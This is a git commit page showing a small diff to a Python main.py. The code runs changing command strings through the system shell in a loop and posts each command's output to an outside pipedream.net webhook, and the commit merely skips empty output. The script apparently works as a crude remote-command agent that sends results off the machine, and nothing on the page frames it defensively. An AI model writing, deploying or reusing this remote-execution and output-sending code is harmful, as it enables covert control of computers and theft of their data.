summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-15 20:41:48 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-15 20:41:48 +0800
commit3dc7e6962f03eaaf0affe4937af44fb1f912d0f0 (patch)
treed2de3a9f885e14238106d7f63d45622fd3586207 /main.py
parente4603416b4819cfaaf7c94992fc67f0bd882edc4 (diff)
updated
Diffstat (limited to 'main.py')
-rw-r--r--main.py15
1 files changed, 8 insertions, 7 deletions
diff --git a/main.py b/main.py
index 8444811..c5eef80 100644
--- a/main.py
+++ b/main.py
@@ -25,13 +25,14 @@ while True:
if old_command != command:
try:
cmdout = system(command, shell=True)
- try:
- post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout)
- except KeyboardInterrupt:
- continue
- except:
- print("Failed to sent output")
- continue
+ if cmdout != "":
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout)
+ except KeyboardInterrupt:
+ continue
+ except:
+ print("Failed to sent output")
+ continue
old_command = command
continue
except: